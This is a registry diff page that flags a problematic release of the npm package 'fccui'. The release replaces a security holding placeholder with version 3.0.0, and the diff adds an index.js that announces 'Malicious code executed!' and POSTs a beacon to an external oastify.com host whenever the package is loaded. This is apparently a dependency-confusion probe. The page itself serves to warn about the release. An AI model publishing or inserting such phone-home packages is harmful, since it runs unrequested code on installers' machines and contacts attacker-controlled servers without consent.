fccui 0.0.1-security → 3.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fccui might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +31 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fccui for more information.
1
+ This repo is just for testing purposes
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ // index.js
2
+ console.log("Malicious code executed!");
3
+
4
+ // Optionally, send a network request to your server for verification
5
+ const http = require('https');
6
+
7
+ const data = JSON.stringify({ message: 'Malicious code executed!' });
8
+
9
+ const options = {
10
+ hostname: 'gtd3h3pd4j6755pp0j6atvb7byhp5otd.oastify.com',
11
+ port: 443,
12
+ path: '/log',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': data.length,
17
+ },
18
+ };
19
+
20
+ const req = http.request(options, (res) => {
21
+ res.on('data', (d) => {
22
+ process.stdout.write(d);
23
+ });
24
+ });
25
+
26
+ req.on('error', (e) => {
27
+ console.error(e);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fccui",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.0",
4
+ "description": "This repo is just for testing purposes",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }